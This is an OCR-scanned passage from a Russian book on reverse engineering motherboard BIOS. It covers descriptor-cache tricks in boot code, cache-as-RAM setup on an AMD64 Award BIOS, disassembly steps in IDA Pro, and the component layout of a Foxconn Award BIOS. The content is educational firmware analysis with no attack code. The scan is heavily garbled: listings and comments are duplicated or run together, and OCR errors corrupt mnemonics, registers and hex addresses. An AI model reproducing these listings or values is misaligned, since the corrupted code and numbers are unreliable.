C00:E060movах, csC00:E062movss, ах* С0.Е064 assume ss:F000C00:E060movах, csC00:E062movss, ах* С0.Е064 assume ss:F000; ss = cs (ss = F000H то же, ; что и F_segment); ss = cs (ss = F000H то же, ; что и F_segment)
C00:E060movах, cs
C00:E062movss, ах
* С0.Е064 assume ss:F000
C00:E060movах, cs
C00:E062movss, ах
* С0.Е064 assume ss:F000
; ss = cs (ss = F000H то же, ; что и F_segment)
; ss = cs (ss = F000H то же, ; что и F_segment)
:Римечание: код вышеприведенной процедуры исполняется 16-битном реальном режиме.
124
Часть II. Обратная разработка BIOS материнской платы
FOOO:6043 FOOO:6043
FOOO:6045 FOOO:6049 FOOO:6051 FOOO:6051 FOOO:6051 FOOO:6051 F000:6051 FOOO:6051 F000:6051 F000:6051 F000:6051 FOOO:6059
FOOO:6059 FOOO:6059 FOOO:6059 FOOO:6059 FOOO:6059 FOOO:6059 FOOD:6059 F000:6059
GDTR_F000_6043 dw 18h
dd 0F6049h
dq 0
dq 9F0F0000FFFFh
dq 8F93000000FFFFh
; Предел GDTR (3 допустимых
; дескриптора )
; Физический адрес GDT (ниже)
; Нулевой дескриптор
; Дескриптор кода:
; Базовый адрес = F OOOOh
; Предел = FFFFh (64 Кбайт)
; DPL = 0; исполняемый/только чтение,
; соответствующий,
; производилось обращение
; гранулярность = байт;
; флаг Present;
; 16-разрядный сегмент
; Дескриптор данных:
; Базовый адрес = 0000 0000h
; segment_limit = F FFFFh, т. e. 4 Гбайт
; так как флаг гранулярности установлен
; (к 4 Кбайт)
; DPL = 0; Флаги - имеется, чтение и
; запись, производился доступ;
; Гранулярность = 4 Кбайт; 16-разрядный
; сегмент
FOOD:6197 FOOD:6199 F000:619B
F000:619B F000:61A0 F000:61A3 F000:61A5 F000:61A8 F000:6059 F000:61A8 FOOD:6059 F000:61A8 F000:61AD FOOO:61AD F000:61AD F000:61AD F000:61AD F000:61AD
movax, cs
movds, ax; ds = cs
assume ds:FOOO
Igdt qword ptr GDTR_F000_6043
mov eax, crO
or al, 1; Устанавливаем флаг PMode.
mov crO, eax
jnp far ptr 8:61ADh; Переход в 16-битный PMode
; (Абсолютный адрес F 61ADh) ; (Сегмент кода с
; базовым адресом = F OOOOh) ; Все еще в ROM BIOS
; В начале кода начальной загрузки загружаем в кэш дескриптора
; ss значение физического адреса [ss * 16] или FOOOOh. Так как
; ss содержит FOOOOh (его кэш дескриптора) и sp содержит 61C5h,
; ss:sp указывает на физический адрес FOOOOh + 61C5h, т. е. на
; физический адрес F61C5h.
F000:61AD mov ах, ЮН
; Загружаем в регистр ds
; действительный дескриптор данных.
F000:61B0 mov ds, ах
; ds = дескриптор данных
; (Зй элемент GDT),
Fooo:61В0
; теперь может адресовать пространство ; адресов объемом в 4 Гбайт.
F000:61B2xorbx, bx
F000:61B4xoresi, esi
; bx = OOOOh
; esi = 0000 0000Н
Код, расположенный по адресу food :E062h (см. листинг 4.4) показывает, что в регистр ss загружено значение Foooh. Это подразумевает, что в теневой регистр дескрипторного кэша будет загружено значение ss*i6, что соответствует физическому адресу F_ooooh. Поскольку загрузки новых значений в регистр ss не производится, это значение сохраняется даже после того, как инструкцией, расположенной по адресу FOOO:61A8 (см. листинг 4.4) компьютер переключается в 16-битный защищенный режим. Объяснение этому можно найти в томе 3 руководства разработчика программного обеспечения архитектуры Intel IA-32 (IA-32 Intel Architecture Software Developer’s Manual Volume 3: System Programming Guide 2004).
Фрагмент руководства разработчика программного ОБЕСПЕЧЕНИЯ АРХИТЕКТУРЫ INTEL IA-32:
9.1.4. Первая исполняемая инструкция
Первая инструкция, которую процессор выбирает и исполняет после аппаратного сброса (hardware reset), расположена по адресу fffffffoh. Этот адрес находится на 16 байтов ниже верхнего предела физической памяти, адресуемой процессором, и на него должна отображаться стираемая программируемая ROM (EPROM), содержащая код инициализации программного обеспечения. В реальном режиме адрес fffffffoh находится за пределами первого мегабайта адресов памяти, которые процессор может адресовать. Для доступа к этому адресу, процессор инициализируется следующим образом. Регистр cs [code segment — сегмент кода] состоит из двух частей — видимой части — так называемого селектора сегмента (segment selector) и скрытой, или теневой части — так называемого базового адреса (base address). В реальном режиме базовый адрес обычно формируется путем смещения 16-разрядного значения селектора сегмента на 4 разряда влево, за счет чего получается 20-разрядный базовый адрес. Однако во время аппаратного сброса часть регистра cs, соответствующая селектору сегмента, получает значение foooh, а часть, соответствующая базовому адресу — значение ffffooooh. Поэтому начальный адрес формируется путем сложения базового адреса со значением в регистре Eip (т. е. ffffoooo + fffoh = fffffffoh).
Когда после аппаратного сброса новое значение впервые заносится в регистр cs, процессор будет следовать обычным правилам преобразования адресов в реальном режиме (т. е. [базовый адрес CS = селектор сегмента CS * 16]) Чтобы гарантировать, что базовый адрес в регистре cs не будет изменен д0 тех пор, пока код инициализации в ROM не завершит исполнение, этот код Не должен содержать инструкций far jump или far call или позволять преры. вания, так как эти события привели бы к изменению значения селектора cs.
Кроме того, немало интересной информации можно найти и в статьях Doctor Dobb's Journal, посвященных микропроцессорам (http://www.x86.org/articles/ articles.htm). В частности, статья "Аномалии дескрипторного кэша" (Descriptor Cache Anomalies) приводит подробное объяснение особенностей дескрипторного кэша и заслуживает цитирования.
Фрагмент статьи Descriptor Cache Anomalies из Doctor Dobb's Journal
Сразу же после включения питания, в регистры дескрипторного кэша загружаются фиксированные предопределенные значения по умолчанию, центральный процессор работает в реальном режиме, и все сегменты, в том числе и сегмент кода (cs), обозначены как сегменты данных, доступные для чтения и записи. Согласно техническим данным компании Intel, каждый раз, когда центральный процессор загружает сегментный регистр в реальном режиме, значение базового адреса формируется путем умножения значения сегмента на 16, а атрибутам, задающим права доступа и ограничения на размер сегмента, присваиваются фиксированные значения, совместимые с реальным режимом. Это неверно. В действительности, только атрибуты ррав доступа дескрипторного кэша cs получают фиксированные значения при каждой загрузке регистра сегмента кода. Более того, даже это происходит только тогда, когда встречается инструкция far jump. Загрузка любого другого сегментного регистра в реальном режиме не изменяет прав доступа или атрибутов ограничения размера сегмента, хранящихся в регистрах дескрипторного кэша. Для этих сегментов, ранее установленные атрибуты прав доступа и ограничения на размер сегмента остаются в силе... Таким образом, в реальном режиме процессора 80386 возможно иметь сегмент "только для чтения" размером в 4 Гбайт. Тем не менее, компания Intel не признает и не поддерживает этот режим работы.
Желающие узнать больше о дескрипторном кэше и о его работе могут найти всестороннюю информацию в одном из выпусков Doctor Dobb’s Journal и в разделе 3.4.2 тома 3 руководства разработчика программного обеспечения архитектуры Intel IA-32 (IA-32 Intel Architecture Software Developer’s Manud Volume 3: System Programming Guide 2004).
Но давайте возвратимся к нашему регистру ss. Как вы уже знаете, ведуШУ10 роль здесь играет регистр дескрипторного кэша, в особенности — та его часть, которая соответствует базовому адресу. Видимая часть регистра ss это всего лишь метка-заполнитель, а настоящим регистром, ответственны^
за фактическое преобразование адресов, является теневой дескрипторный кэШ- Любые действия над ним отражаются на выполнении любых преобразований адресов кода, стека или данных. В этом случае, в 16-битном защищенном режиме нужно использовать сегмент стека с "базовым адресом", соответствующим физическому адресу охг_оооо. Это не представляет проблем, так как значение охг_оооо уже было загружено в поле базового адреса дескрипторного кэша регистра ss в начале исполнения кода блока начальной загрузки. Именно благодаря этому код, приведенный в листинге 4.3, и исполняется без всяких проблем. В листинге 4.5 показан еще один пример реализации макроса rom_call.
Листинг 4.5. Еще один пример реализации макроса ROM_CALL
poochesandal, OFEh;Запрещаем открытие
; множественных страниц
F000:61CBmovsp, 61Dlh
F000:61CEjmpF000_6000_write_pci_byte
F000:61CE ;
F000:61Dl dw 61D3h
F000:61D3 ;
F000:61D3 mov ax, 3; Тип DRAM = SDRAM
F000:6015
F000_6000_write_pci_byte proc
near
F000:6015
xchg
ax, ex
; ex = адрес; ax = данные
F000:6016
shl
ecx, lOh
FOOD .-601A
xchg
ax, ex
F000:601В
mov
eax, 80000000h
F000:6021
mov
ax, ex
F000:6023
and
al, OFCh
FOOO:6025
mov
dx, 0CF8h
F000:6028
out
dx, eax
f000:602A
mov
dl, OFCh
p000:602C
or
dl, cl
p000:602E
mov
eax, ecx
F°00:6031
shr
eax, lOh
; Извлекаем оригинальные данные
; в регистре ах.
P°00:6035
out
dx, al
; Записываем значение.
F°00:6036
retn
P°00:6036
F000_6000_write_pci_byte endp
Инструкция retn по адресу fooo:6036 в коде, приведенном в листинге 4.5, должна сработать В конце исполнения F000_6000_write_pci_byte, если реги-
стровая пара ss:sp указывает на 0xf_61di. Так в действительности и происходит, потому что регистр ss содержит значение Oxf_oooo в поле базового адреса его дескрипторного кэша, а регистр sp содержит значение 6iDih. Таким образом, регистровая пара ss:sp указывает на физический адрес F_0000h+61Dlh, Т. е. F_61Dlh.
Использование кэша как RAM
Еще одна интересная особенность кода BIOS — использование кэша процессора в качестве RAM. Кэш процессора используется как стек во время исполнения кода BIOS из чипа ROM BIOS, когда системная RAM еще недоступна. Обратите внимание, что RAM не станет доступной до тех пор, пока код начальной загрузки не убедится в ее физическом присутствии в системе. Таким образом, операции со стеком23 приходится выполнять обходным путем при помощи макроса rom_call, как было показано в предыдущем разделе.
Использование кэша процессора в качестве RAM обычно реализуется как часть кода блока начальной загрузки. Это позволяет решить проблему отсутствия RAM для использования под стек в начале выполнения кода BIOS. Возможность эта не особенно широко распространена и поддерживается только современными процессорами и BIOS, такими как Award BIOS для материнских плат AMD64. В листинге 4.6 показан дизассемблированный код блока начальной загрузки BIOS материнской платы Gigabyte K8N SLI как пример реализации применения кэша процессора в качестве RAM. Данная BIOS была выпущена 13 марта 2006 года.
Листинг 4.6. Пример реализации функции Cache-as-RAM
г000:0022 start_cache_as_RAM:
•*000:0022 mov bx, offset cache_as_RAM_init_done
; bx = смещение для возврата г000:0025 jrnp word ptr cs:[di +2]; Переход к init_cache_as_ram
•"000:0029
?000:0029 cache_as_RAM_init_done:
•*000:0029
jnb
short cache_as_RAM_ok
?000:002В
add
di, OEh
?000:002Е
inc
ex
"0<j0:002F
сир
ex, 1
'000:0033
jnz
short start_cache_as_RAM
3 К операциям co стеком относится исполнение инструкций, которые манипулируй смятью стека, например push, pop, call и rets.
F000:0522 init_cache_as_ram:,
F000:0535
mov si, offset chk_uP_done
F000:0538
F000:053A
jnp short is_Authentic_AMD
F000:053A
chk_uP_done:
^000:053A
jb not_Authentic_AMD
F000:053E
mov dx, lOh
; dx = номер селектора для выбора из GDT
p000:0541
mov bx, 547h
FOOO:0544
jmp enter_voodoo_mode
F000:0590
xor edx, edx
F000:0593
wrmsr
FOOO:0595
xor eax, eax
F000:0598
cdq
; edx = eax
p0OO:O59A
F0°0:05A0
mov ecx, 20Fh
^OOiOSAO
is_MSR_200h:
^OOiOSAO
wrmsr
P°°0:05A2
cnp ex, 200h
^ОО^БАб
loopne is_MSR_200h
така 4. Знакомимся с системойF000:0035moval, OFEhFQ00:0037out80h, alfq00:0039movdx, 1080hF0O0:OO3Coutdx, alF000:003Dmovbp, OFEhF000:0040jmpshort prepare_to_exitF000:0042F000:0042cache_as_RAM_ok:F000:0042movword ptr ds:0, 524 3hF000:0048pushword ptr ds:9FhF000:0048F000:004Cpushword ptr ds:0A3hfOOQ:0050movsi, 14hF000:0053movds:9Fh, siF000:0057movsi, 265hFOOO:005Amovds:0A3h, siF000:005Emovsi, 18DhFOOD:0061callsub_F000_86F000:0061F000:0064popword ptr ds:0A3hF000:0068popword ptr ds:9Fhтака 4. Знакомимся с системойF000:0035moval, OFEhFQ00:0037out80h, alfq00:0039movdx, 1080hF0O0:OO3Coutdx, alF000:003Dmovbp, OFEhF000:0040jmpshort prepare_to_exitF000:0042F000:0042cache_as_RAM_ok:F000:0042movword ptr ds:0, 524 3hF000:0048pushword ptr ds:9FhF000:0048F000:004Cpushword ptr ds:0A3hfOOQ:0050movsi, 14hF000:0053movds:9Fh, siF000:0057movsi, 265hFOOO:005Amovds:0A3h, siF000:005Emovsi, 18DhFOOD:0061callsub_F000_86F000:0061F000:0064popword ptr ds:0A3hF000:0068popword ptr ds:9Fh; Диагностическая контрольная; точка производителя; Диагностическая контрольная; точка производителя; Эта инструкция push использует; для стека кэш процессора.; Эта инструкция push использует; для стека кэш процессора.; Эта инструкция call использует; для стека кэш процессора.; Эта инструкция call использует; для стека кэш процессора.
така 4. Знакомимся с системой
F000:0035
mov
al, OFEh
FQ00:0037
out
80h, al
fq00:0039
mov
dx, 1080h
F0O0:OO3C
out
dx, al
F000:003D
mov
bp, OFEh
F000:0040
jmp
short prepare_to_exit
F000:0042
F000:0042
cache_as_RAM_ok:
F000:0042
mov
word ptr ds:0, 524 3h
F000:0048
push
word ptr ds:9Fh
F000:0048
F000:004C
push
word ptr ds:0A3h
fOOQ:0050
mov
si, 14h
F000:0053
mov
ds:9Fh, si
F000:0057
mov
si, 265h
FOOO:005A
mov
ds:0A3h, si
F000:005E
mov
si, 18Dh
FOOD:0061
call
sub_F000_86
F000:0061
F000:0064
pop
word ptr ds:0A3h
F000:0068
pop
word ptr ds:9Fh
така 4. Знакомимся с системой
F000:0035
mov
al, OFEh
FQ00:0037
out
80h, al
fq00:0039
mov
dx, 1080h
F0O0:OO3C
out
dx, al
F000:003D
mov
bp, OFEh
F000:0040
jmp
short prepare_to_exit
F000:0042
F000:0042
cache_as_RAM_ok:
F000:0042
mov
word ptr ds:0, 524 3h
F000:0048
push
word ptr ds:9Fh
F000:0048
F000:004C
push
word ptr ds:0A3h
fOOQ:0050
mov
si, 14h
F000:0053
mov
ds:9Fh, si
F000:0057
mov
si, 265h
FOOO:005A
mov
ds:0A3h, si
F000:005E
mov
si, 18Dh
FOOD:0061
call
sub_F000_86
F000:0061
F000:0064
pop
word ptr ds:0A3h
F000:0068
pop
word ptr ds:9Fh
; Диагностическая контрольная
; точка производителя
; Диагностическая контрольная
; точка производителя
; Эта инструкция push использует
; для стека кэш процессора.
; Эта инструкция push использует
; для стека кэш процессора.
; Эта инструкция call использует
; для стека кэш процессора.
; Эта инструкция call использует
; для стека кэш процессора.
130
Часть II. Обратная разработка BIOS материнской платы
FOOD:05A8
mov ex, 259h
FOOO:05AB F000:05AD FOOD:05B0
wrmsr
movex, 26Fh
F000:05B0
is_MSR_268h:
FOOO:05B0
wrmsr
FOOO:05B2
enp ex, 268h
F000:05B6
loopne is_MSR_268h
F000:05B8
mov eax, 18181818b
F000:05BE
mov edx, eax
F000:05Cl
mov ex, 250h
F000:05C4
wrmsr
F000:05C6
mov ex, 258h
F000:05C9
wrmsr
F000:05CB
mov edx, 6060606b; статус кэша = обратная запись
F000:05CB
; для hi_dword, т. е. DCOOOh-DFFFFh
F000:05Dl
mov ex, 26Bh; MTRRfix4K_D8000
F000:05D4
wrmsr
F000:05D6
mov eax, 5050505b
F000:05DC
mov edx, eax; статус стека = защищенный от записи
F000:05DF
inc ex; MTRRfix4K_E0000
F000:05E0
wrmsr
F000:05E2
inc ex; MTRRfix4K_E8000
F000:05E3
wrmsr
F000:05E5
inc ex; MTRRfix4K_F0000
F000:05E6
wrmsr
F000:05E8
inc ex; MTRRfix4K_F8000
F000:05E9
wrmsr
F000:05EB
mov ecx, OCOOlOOlOh
F000:05Fl
rdmsr
F000:05F3
or eax, 140000b
F000.-05F9
wrmsr
F000:05FB
mov ecx, 2FFh
FOOO:0601
rdmsr
FOOO:0603
movd mm4, eax
F000:0606
pinsrw mm4, edx, 2
F000:060A
ror edx, 10b
F000:060E
pinsrw mm4, edx, 3
FOOO:0612
ror edx, 10b
FOOO:0616
mov eax, OCOOh
F000:061C
cdq
F000:061E
wrmsr
F000:0620
mov eax, crO
FOOO:0623
oreax, 60000000b; Запрещаем кэш
F000:0629
mov
crO, eax
f000:062C
invd
; Очищаем кэш
F000:062E
F000:062E
; Инициализируем 16 Кбайт кэша
как RAM no DCOOOh-DFFFFh.
F000:062E
mov
ax, ODCOOh
F000:0631
mov
ds, ax
; ds = сегмент кэша как RAM
F000:0633
assume ds:nothing
F000:0633
mov
es, ax
F000:0635
assume es:nothing
F000:0635
xor
si, si
F000:0637
mov
eax, crO
F000:063A
and
eax, 9FFFFFFFh
; Разрешаем кэш
FQOO:0640
mov
crO, eax
FOOO:0643
mov
ex, lOOOh
FOOD:0646
rep 1
.odsd
; Потоковая запись 16 Кбайт данных в
F000:0649
xor
eax, eax
F000:064C
mov
ex, lOOOh
F000:064F
mov
di, ax
FOOO:0651
rep stosd
; Инициализируем 16 Кбайт кэша с 00h
FOOD:0654
movq
qword ptr ds:819h, mm2
F000.-0659
movq
qword ptr ds:811h, mm3
F000:065E
movq
qword ptr ds:821h, mm4
F000:0663
mov
es, ax
F000:0665
mov
ax, ODCOOh
; Используем сегмент DCOOh для стека
F000:0668
mov
ss, ax
FOOD:066A
mov
sp, 4000h
; Инициализируем указатель стека к
FOOD:066A
; концу области кэша, используемого
FOOD:066A F000:066D F000:066E
clc
; как RAM
f000:066E
not_Authentic_AMD:
p000:066E
movd
ebx, mml
p000:0671
p000:0675
psrlq mml, 20h ; movd ecx, mml
p°00:0678
jmp
bx
; Переходим к cache_as_RAM_init_done
кэш
КоД, приведенный в листинге 4.6, не требует дополнительных объяснений. Наиболее важная функция реализуется инструкцией rep lodsd по адресу р°°0:0б4б. Здесь 16 Кбайт данных записываются потоком в кэш, принуди- Тельно обновляя его содержимое и заставляя кэш указывать на диапазон ад- Ресов, назначенный для использования в качестве RAM. Инструкцией mov по адресу fooo:0665 код устанавливает стек по предопределенному адресу кэша,
используемого как RAM. Таким образом, эта область кэша выделяется для использования под стек. Именно таким образом эта область будет использоваться последующим кодом блока начальной загрузки.
Дизассемблирование BIOS
с помощью IDA Pro
Материалы, представленные в главе 2, дают всю информацию, необходимую для того, чтобы начать эффективную работу с IDA Pro. Предыдущий раздел данной главы содержит основную информацию о двоичной организации BIOS. Теперь я опишу основные этапы осуществления дизассемблирования BIOS с применением этих знаний.
Дизассемблирование BIOS состоит в пошаговом выполнении начальных инструкций, выполняемых процессором. Процедура для этого следующая:
Начинаем дизассемблирование с вектора сброса процессора. Вектор сброса — это адрес первой инструкции, которую исполняет процессор после аппаратного сброса. Для х86-совместимых процессоров, вектор сброса - 0xFFFF_0000.
От вектора сброса пройдите исполняемые ветви кода блока начальной загрузки. Одна из ветвей приведет к зависанию. Это — ветвь, которая исполняется при ошибке времени исполнения (runtime error) Кода блока начальной загрузки. Таким образом, необходимо исследовать другую ветвь, не приводящую к зависанию компьютера. В ходе исполнения этой ветви кода, проводится распаковка кода системной BIOS, и после завершения исполнения кода блока начальной загрузки управление передается коду системной BIOS. Распаковку можно эмулировать при помощи сценариев или подключаемых модулей IDA Pro. В качестве альтернативы, если имеется распаковщик для упакованных компонентов BIOS, распакуйте их с его помощью. Распакованные компоненты затем интегрируются в базу данных текущего сеанса дизассемблирования IDA Pro.
Пошагово выполняйте ветвь исполнения системной BIOS до тех пор, пока не дойдете до исполнения процедуры POST. В некоторых BIOS процедур3 POST состоит из таблиц переходов. Чтобы получить полное представление о работе BIOS, необходимо осуществить каждый из переходов, пере* численных в этой таблице.
Описанная процедура применима к любому типу BIOS или другому виду миК ропрограммного обеспечения (firmware) с функциональными возможностями BIOS в таких устройствах, как, например, маршрутизаторы, киоски или дрУгие устройства, основанные на х86-совместимой программотехнике ROM.
Глава 5
Реализация BIOS материнской платы
Введение
В этой главе разъясняется, каким образом BIOS реализуется фирмами- производителями. В ней исследуется алгоритм упаковки, применяемый производителями BIOS, и форматы упакованных компонентов в двоичном коде BIOS. Кроме того, анализируется ряд двоичных файлов BIOS разных производителей с целью выяснения их внутренней структуры.
Award BIOS
В этом разделе анализируется двоичный код Award BIOS на примере BIOS Для материнской платы Foxconn 955X7AA-8EKRS2. Это — Award BIOS версии 6.00PG от 11 ноября 2005 г. объемом в 4 Мбит/512 Кбайт.
5-1.1. Структура файла Award BIOS
Файл Award BIOS состоит из нескольких компонентов, часть из которых Упакованы с помощью алгоритма LZH с заголовком первого уровня. Эти компоненты можно идентифицировать при просмотре файла в hex-редакторе п° сигнатуре -h5- в начале компонента. Пример упакованного компонента с соответствующей сигнатурой показан в листинге 5.1.
Листинг 5.1. Пример уп?кованного компонента Award BIOS
Адрес Шестнадцатеричные значенияКод ASCII
00000000 25F22D6C68352D853A0000С057000000%.-Ih5-.:...W...
00000010 00004120010С61776172646578742Е72..А ..awardext.r
00000020 6F6DDB742000002СF88EFBDFDD2349DBom.t #1.
Кроме упакованных компонентов, BIOS содержит чисто 16-битные двоичные х86-компоненты. Исполнение кода Award BIOS начинается в одном из таких чисто двоичных компонентов. Общая структура типичного двоичного файла Award BIOS следующая:
Блок начальной загрузки (boot block). Блок начальной загрузки не упакован, и представляет собой чисто двоичный компонент файла. Процессор начинает исполнение кода BIOS именно с этой ее части.
Блок распаковщика (decompression block). Это — также чисто двоичный компонент. Его задача состоит в распаковке сжатых компонентов BIOS.
Системная BIOS (System BIOS). Эта часть BIOS упакована. Ее роль — инициализировать систему, т. е. выполнить процедуру POST и вызвать другие модули BIOS, необходимые для выполнения общесистемной инициализации. Раньше этот компонент BIOS всегда назывался original.tmp. но сейчас Award BIOS не употребляет это имя. Тем не менее, хакеры и разработчики модификаций BIOS продолжают называть этот компонент его прежним именем.
Расширение системной BIOS (System BIOS extension). Эта часть BIOS упакована. В ее задачу входит выполнение вспомогательных функций, расширяющих возможности системной BIOS.
Другие упакованные компоненты. Эти компоненты зависят от конкретной системы. В основном они применяются для инициализации встроенных в материнскую плату устройств, реализации антивирусной защиты загрузочного сектора жесткого диска и т. п.
Согласно официальной информации, приведенной в томе 3 руководства разработчика программных средств архитектуры Intel IA-32 (IA-32 Intel Architecture Software Developer’s Manual Volume 3: System Programming Guide 2004), после включения питания или после аппаратного сброса х8б- совместимый процессор начинает работу в 16-битном реальном режиме по
адресу Oxfooo : Oxfffo. Следовательно, по этому адресу должен находиться исполняемый код 16-битного реального режима процессоров х86. Это действительно так — по адресу oxfooo:Oxfffo находится чисто двоичный компонеНт BIOS, а именно код начальной загрузки. Как было показано в главе 4 (СМ рис. 4.7), блок начальной загрузки находится в наивысшем диапазоне адресов в таблице распределения системной памяти.
Прежде чем приступить к анализу упакованных и чисто двоичных компонентов данной реализации Award BIOS, необходимо разобраться, каким образом двоичный код BIOS отображается на системное адресное пространство (рис. 5.1).
Отображение двоичного кода BIOSОтображение двоичного кода BIOSна системное адресное пространствона системное адресное пространствоFFFF.FFFFhFFFF_EOOOhFFFF.FFFFhFFFF_EOOOhАппаратные средства,отображенные в памятьСистемная RAMАппаратные средства,отображенные в памятьСистемная RAMFFFE_BFFEhFFFE_A9C0hFFFE_BFFEhFFFE_A9C0hFFF9_4DE8hFFF9_4DE8hFFF8_0000hFFF8_0000hF_FFFFhF_OOOOh E_FFFFh E_OOOOhF_FFFFhF_OOOOh E_FFFFh E_OOOOhООБлок начальной загрузкиБайты-заполнители +некий кодБлок распаковщикаБайты-заполнителиПрочие сжатыекомпоненты Блок начальной загрузкиБайты-заполнители +некий кодБлок распаковщикаБайты-заполнителиПрочие сжатыекомпоненты Сжатая системная BIOSСжатая системная BIOSАппаратные средства,отображенные в памятьСистемная RAMПсевдоним сегментаF_seg BIOSПсевдоним сегмента E seg BIOSАппаратные средства,отображенные в памятьСистемная RAMПсевдоним сегментаF_seg BIOSПсевдоним сегмента E seg BIOSНаследуемые аппаратныесредства,отображенные в памятьСистемная RAMНаследуемые аппаратныесредства,отображенные в памятьСистемная RAMДиапазонадресовчипаBIOSДиапазонадресовчипаBIOSЧасть BIOS, отображеннаяна диапазон адресовнаследуемой BIOS~1Блок начальной загрузкиЧасть BIOS, отображеннаяна диапазон адресовнаследуемой BIOS~1Блок начальной загрузкиНекий кодНекий кодБлок распаковщикаБлок распаковщикаБайты-заполнителиБайты-заполнителиСжатые компонентыСжатые компонентыF_FFFFhF_OOOOhE_FFFFhE_OOOOhF_FFFFhF_OOOOhE_FFFFhE_OOOOh
Отображение двоичного кода BIOS
Отображение двоичного кода BIOS
на системное адресное пространство
на системное адресное пространство
FFFF.FFFFh
FFFF_EOOOh
FFFF.FFFFh
FFFF_EOOOh
Аппаратные средства,отображенные в память
Системная RAM
Аппаратные средства,отображенные в память
Системная RAM
FFFE_BFFEh
FFFE_A9C0h
FFFE_BFFEh
FFFE_A9C0h
FFF9_4DE8h
FFF9_4DE8h
FFF8_0000h
FFF8_0000h
F_FFFFh
F_OOOOh E_FFFFh E_OOOOh
F_FFFFh
F_OOOOh E_FFFFh E_OOOOh
О
О
Блок начальной загрузкиБайты-заполнители +некий код
Блок распаковщика
Байты-заполнители
Прочие сжатыекомпоненты
Блок начальной загрузкиБайты-заполнители +некий код
Блок распаковщика
Байты-заполнители
Прочие сжатыекомпоненты
Сжатая системная BIOS
Сжатая системная BIOS
Аппаратные средства,отображенные в память
Системная RAM
Псевдоним сегмента
F_seg BIOS
Псевдоним сегмента E seg BIOS
Аппаратные средства,отображенные в память
Системная RAM
Псевдоним сегмента
F_seg BIOS
Псевдоним сегмента E seg BIOS
Наследуемые аппаратныесредства,отображенные в памятьСистемная RAM
Наследуемые аппаратныесредства,отображенные в памятьСистемная RAM
ДиапазонадресовчипаBIOS
ДиапазонадресовчипаBIOS
Часть BIOS, отображеннаяна диапазон адресовнаследуемой BIOS~1Блок начальной загрузки
Часть BIOS, отображеннаяна диапазон адресовнаследуемой BIOS~1Блок начальной загрузки
Некий код
Некий код
Блок распаковщика
Блок распаковщика
Байты-заполнители
Байты-заполнители
Сжатые компоненты
Сжатые компоненты
F_FFFFh
F_OOOOh
E_FFFFh
E_OOOOh
F_FFFFh
F_OOOOh
E_FFFFh
E_OOOOh
Рис. 5.1. Отображение BIOS материнской платы 955X7AA-8EKRS2на системное адресное пространство
Из рис. 5.1 видно, что последние два сегмента BIOS имеют псевдоним^ Сегмент еоооь является псевдонимом FFFE_ooooh, а сегмент foooh является псевдонимом FFFF_ooooh. Кроме совмещения адресов, обратите внимание на то, что код BIOS объемом в 512 Кбайт занимает последние 512 Кбайт в 4-Гбайтном пространстве адресов. Теперь рассмотрим, как соотносятся между собой отображение двоичного файла BIOS на системное адресное пространство и отображение того же двоичного файла BIOS в hex-редакторе (рис. 5.2). Это соответствие необходимо знать для того, чтобы модифицировать двоичный код BIOS.
Отображение двоичного файла BIOSАдресация двоичного файла BIOS
Рис. 5.2. Соответствие адресов BIOS в системном адресном пространстве и адресацией того же двоичного файла в hex-редакторе
Рисунки 5.1 и 5.2 тесно связаны между собой. Таким образом, необходимо помнить, что последние 128 Кбайт двоичного файла BIOS отображаются в системном адресном пространстве на диапазон адресов EOOOOh-FFFFFh, а в hex-редакторе — на диапазон адресов 60000h-7FFFFh. Но заметьте, что это отображение действительно только сразу же после включения питания или аппаратного сброса. Это — значение по умолчанию для данного чипсета. После того как BIOS перепрограммирует чипсет, гарантии, что данные отображения сохранятся, нет. Но отображение, приведенное в рис. 5.1 и 5.2, действительно до тех пор, пока код BIOS все еще исполняется из блока начальной загрузки и еще не был скопирован в RAM.
Давайте рассмотрим отображения упакованных компонентов Award BIOS материнской платы Foxconn на адреса в hex-редакторе более подробно. Это отображение выглядит следующим образом:
o_ooooh-i_4DE8h: 4bgflp50.bin. Системная BIOS.
i_4DE9h-i_E2FEh: awardext.rom. Расширение системной BIOS. Процедура из этого модуля вызываются системной BIOS.
$ 1 E2FFh-i_FE30h: acpitbl.bin. Это — набор процедур поддержки ACPI ' (Advanced Configuration and Power Interface — усовершенствованный интерфейс конфигурирования системы и управления электропитанием).
! FE3ih-2_00DAh: awardbmp.bmp. Картинка логотипа Award.
2 ooDBh-2_5Ai6h: awardeytrom. Это—тоже расширение системной BIOS.
2 5Ai7h-2_7F7Bh: _en_code.bin. В этом модуле хранятся слова, используемые в меню программы BIOS Setup.
2_7F7Ch-2_8BB0h: _item.bin. Этот модуль содержит значения, которые можно задать, выбирая требуемые элементы меню программы BIOS
Setup.
2_8BBih-2_FF3Dh: 5209.bin. BIOS расширения для встроенного в материнскую плату устройства.
2_FF3Eh-3_62D8h: it8212.bin. Этот модуль также представляет собой BIOS расширения для встроенного в материнскую плату устройства.
3_62D9h-3_FA49h: Ь5789рхе.1ош. Еще одна BIOS расширения для встроенного в материнскую плату устройства.
3_FA4Ah-4_8FDCh: raid_or.bin. BIOS расширения для контроллера RAID.
4_8FDDh-4_c86Bh: cprfvll8.bin. Данный модуль представляет собой BIOS расширения для встроенного в материнскую плату устройства.
4_c86ch-4_D396h: ppminit.rom. Еще одна BIOS расширения для встроенного в материнскую плату устройства.
4_D397h—4_E38ih: \Fl\foxconn.bmp. Логотип Foxconn.
4_E382h-4_FiD0h: \Fl\64n8iip.bmp. Еще один логотип, выводимый на экран во время загрузки.
После последнего упакованного компонента следуют байты-заполнители, содержащие значение FFh. Пример использования байтов-заполнителей показан в листинге 5.2.
Листинг 5.2. Байты-заполнители, следующие за упакованным компонентом Award BIOS
